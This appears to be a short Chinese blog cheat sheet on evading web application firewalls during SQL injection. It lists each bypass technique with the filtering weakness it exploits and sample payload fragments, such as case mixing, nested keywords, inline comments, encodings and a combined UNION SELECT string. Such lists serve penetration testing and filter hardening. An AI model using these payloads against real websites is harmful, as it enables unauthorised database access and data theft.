SQL注入绕 WAF 的方式

- 字母大小写混合绕过

  原因:服务器端检测时未开启大小写不敏感

  形式:`UnIon SeLecT`

- 多重关键字

  原因:服务器端检测到敏感字符时替换为空 

  形式:`ununionion selselectect`

- 注释

  原因:服务器端未检测或检测不严注释内的字符串 

  形式:`/**/,/*!*/,/*!12345*/,#,-- -` 等

- 编码绕过

  原因:服务器端未检测或检测不严具有编码形式的关键字 

  类型:十六进制编码、URL 编码、Unicode 编码 

  形式:`0x61646d696e、%20、%u0020`

- 等价函数或命令

  原因:服务器端黑名单不完整,过滤不严 

  形式: 

  Mysql 查询:`Union distinct、updatexml、Extractvalue、floor` 

  字符串截取函数:`mid、substr、substring、left、reverse `

  字符串连接函数:`concat、group_concat、concat_ws `

  字符串转换:`char、hex、unhex` 

  替换逗号:`limit 1 offset 0,mid(version() from 1 for 1) `

  替换等号:`like`

- 组合绕过

  原因:服务器端检测多处位置,需要多重绕过方式组合使用 

  形式:`id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3`

- 特殊字符

  原因:数据库中效果相同,服务器端却没有限制 

  形式:

  科学记数法 `and 1e0 = 1e0 `

  空白字符 `%0a %a0 %0b %20 %09 `

  反单引号 `table_name` 

  括号 `select * from (test.admin)`

你可能感兴趣的:(漏洞,安全,web安全)